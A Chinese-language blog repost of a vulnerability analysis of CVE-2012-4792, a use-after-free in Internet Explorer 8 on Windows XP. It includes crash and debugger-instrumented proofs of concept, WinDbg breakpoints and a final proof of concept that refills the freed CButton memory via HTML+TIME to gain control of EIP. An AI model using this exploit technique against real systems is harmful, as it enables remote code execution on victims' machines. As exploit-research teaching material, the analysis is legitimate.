CVE-2012-4792浅析-Internet Explorer释放重引用漏洞

来源:互联网 发布:天正建筑是什么软件 编辑:程序博客网 时间:2024/06/08 09:03

首先利用metasploit生成exploit,然后去除所有的heapspray和其它的东西来得到POC。操作系统版本为XP SP3,IE版本为8.0.6001.18702。

<!doctype html><html><head>    <script>    function helloWorld() {        var e0 = null;        var e1 = null;        var e2 = null;        try {            e0 = document.getElementById("a");            e1 = document.getElementById("b");            e2 = document.createElement("q");            e1.applyElement(e2);            e1.appendChild(document.createElement('button'));            e1.applyElement(e0);            e2.outerText = "";            e2.appendChild(document.createElement('body'));        } catch(e) { }        CollectGarbage();        var eip = window;        var data = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";        eip.location = unescape("AA" + data);    }    </script></head><body onload="eval(helloWorld())">    <form id="a">    </form>    <dfn id="b">    </dfn></body></html>

接下来为IE打开stack trace和pageheap,windbg附加之后运行POC,看看会发生什么。
这里写图片描述
使用!heap -p -a ADDR命令查看包含地址ADDR的堆块的详细信息。
这里写图片描述
这里写图片描述
现在我们已经可以得出一些结论了。被释放的对象是CButton,可以从mshtml!CButton::'vector deleting destructor'中看出。当handler被加载完毕时会再次使用被释放的内存,可以从mshtml!CMarkup::OnLoadStatusDone+0x4ef中看出。现在再来看POC中的e1.appendChild(document.createElement('button'));这句代码创建了稍后会被释放的对象。让我们看看能否找到对象是在哪里被释放的,又是在哪里被重新使用的。可以修改javascript代码来打印一些log信息。另外,分别在创建CButton和删除CButton时增加两个断点。
这里写图片描述
这里写图片描述

<!doctype html><html><head>    <script>    function helloWorld() {                var e0 = null;        var e1 = null;        var e2 = null;        try {            Math.atan2(0xbadc0de, "before get element a")            e0 = document.getElementById("a");            Math.atan2(0xbadc0de, "before get element b")            e1 = document.getElementById("b");            Math.atan2(0xbadc0de, "before create element q")            e2 = document.createElement("q");            Math.atan2(0xbadc0de, "before apply element e1(b) -> e2(q)")            e1.applyElement(e2);            Math.atan2(0xbadc0de, "before appendChild create element button")            e1.appendChild(document.createElement('button'));            Math.atan2(0xbadc0de, "before applyElement e1 -> e0")            e1.applyElement(e0);            Math.atan2(0xbadc0de, "before e2 outertext")            e2.outerText = "";            Math.atan2(0xbadc0de, "before e2 appendChild createElement body")            e2.appendChild(document.createElement('body'));            Math.atan2(0xbadc0de, "All done inside try loop")        } catch(e) { }        Math.atan2(0xbadc0de, "collecting garbage")        CollectGarbage();        Math.atan2(0xbadc0de, "Done collecting garbage")    }    </script></head><body onload="eval(helloWorld())">    <form id="a">    </form>    <dfn id="b">    </dfn></body></html>
bu !mshtml + 0x4144F7 ".printf \"Created CButton at %p\", eax;.echo;g"bu !mshtml + 0x4143EF ".printf \"Deleting CButton at %p\", eax;.echo;g"bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"

这里写图片描述
在调用CollectGarbage期间CButton对象被释放,但是在调用结束前CButton对象没有再次使用过。我们可以通过精心构造合适的数据轻易控制被释放的对象。下一步是研究UAF是怎么发生的,让我们回到崩溃的地方看看edi(指向被释放内存)是从哪里来的。
这里写图片描述
很显然CElement::FindDefaultElem函数返回被释放的CButton。在程序崩溃之前这个函数被还调用了几次,所以为了简单起见我们在调用这个函数的函数CMarkup::OnLoadStatusDone上下断点。控制EIP很简单,mov eax, [edi]得到虚函数表,call dword ptr [eax+0DCh]从虚函数表调用函数。
这里写图片描述
虽然CButton的内存空间已经释放,但保存在CDoc中的信息并没有被删除,只是指向了一块已经释放的内存。FindDefaultElem中会寻找默认元素,默认元素为上面最后创建的Button,保存于CDoc+0x1A8的位置。FindDefaultElem最终从CDoc中取出DefaultElement,正常时应返回CButton对象地址,但此时指向的内存正是前面释放的。

e0 = document.getElementById("a");Get a reference to the form objecte1 = document.getElementById("b");Get a reference to the dfn objecte2 = document.createElement("q");Create a ‘Q’ elemente1.applyElement(e2);Set the Q element as the parent of the DFN object. Our (partial) DOM Tree looks like this: Q->DFNe1.appendChild(document.createElement('button'));We added a Button element to the DFN Element and our DOM Tree now looks like this: Q->DFN->BUTTONe1.applyElement(e0);We squeeze the FORM element in between the Q and the DFN element by setting the FORM element as the parent of the DFN element and now we have this DOM Tree: Q->FORM->DFN->BUTTONe2.outerText = "";And we just deleted everything …. our (partial) DOM Tree now only holds the Q element and all the references we had to the CButton object have been released again.e2.appendChild(document.createElement('body'));

接下来我们研究这个漏洞的利用。现在我们知道了被释放对象的大小以及它是什么时候被释放的,所以很容易能够把被释放的内存替换成我们能够控制的内容。首先我们需要确保CButton对象使用的内存是由Low Fragmentation Heap分配的。即使堆中总可用内存足以满足请求,内存分配也可能会失败,因为可能没有足够大的单个内存块。LFH有助于减少堆碎片,当应用程序从启用LFH的堆请求内存分配时,系统将分配能够包含请求大小的最小内存块。这会使得替换被释放的内存更简单,因为LFH不合并不连续的空闲块并且会倾向于再次使用最新的被释放的内存块。被释放的CButton的大小是0x58(在CButton::CreateElement函数中可以看到),所以我们只需要分配这么大的内存,释放后再次填充它。
这里写图片描述
IE8支持HTML+TIME,它允许我们创建一个包含指向我们控制的字符串的指针的任意大小的数组,这样就可以控制被释放的0x58大小的内存,然后将vftable指向一个完全在我们控制之下的字符串,这样就能够在没有使用heapspray的情况下控制call [eax+0xDC]。现在在HTML代码中加入一些有趣的东西,否则HTML+TIME不会按照我们期望的方式工作。

<HTML XMLNS:t ="urn:schemas-microsoft-com:time"><head>    <meta>        <?IMPORT namespace="t" implementation="#default#time2">    </meta>...    <t:ANIMATECOLOR id="myanim"/>...

通过将t:ANIMATECOLOR元素的values属性设置为分号分隔的字符串,我们可以创建一个指向字符串各个元素的指针数组。我们需要使用含有0x58/4==0x22个元素的字符串。

animvalues = "u4141u4141"while(animvalues.length < 0xDC) {    animvalues += animvalues}for(i = 0; i < 21; i++) {    animvalues += ";cyan";}

将values属性设置为此字符串,现在可以直接控制EIP了。

try {    a = document.getElementById('myanim');    a.values = animvalues;}catch(e) {}

因为这些值本来应该是合法的颜色,所以需要在try-except结构中执行此操作。完整的POC如下。

<!doctype html><HTML XMLNS:t ="urn:schemas-microsoft-com:time"><head>    <meta>        <?IMPORT namespace="t" implementation="#default#time2">    </meta>    <script>        function helloWorld() {                e_form = document.getElementById("formelm");                e_div = document.getElementById("divelm");                animvalues = "\u4141\u4141"                while(animvalues.length < 0xDC) {                    animvalues += animvalues                }                for(i = 0; i < 21; i++) {                    animvalues += ";cyan";                }                for(i =0; i < 20; i++) {                    document.createElement('button');                }                e_div.appendChild(document.createElement('button'))                e_div.firstChild.applyElement(e_form);                e_div.innerHTML = ""                e_div.appendChild(document.createElement('body'));                CollectGarbage();                try {                    a = document.getElementById('myanim');                    a.values = animvalues;                }                catch(e) {}        }    </script></head><body onload="eval(helloWorld())">    <t:ANIMATECOLOR id="myanim"/>    <div id="divelm"></div>    <form id="formelm">    </form></body></html>

这里写图片描述
现在就可以使用XP的ROP链来完成接下来的操作了。
原文地址:http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/

0 0
原创粉丝点击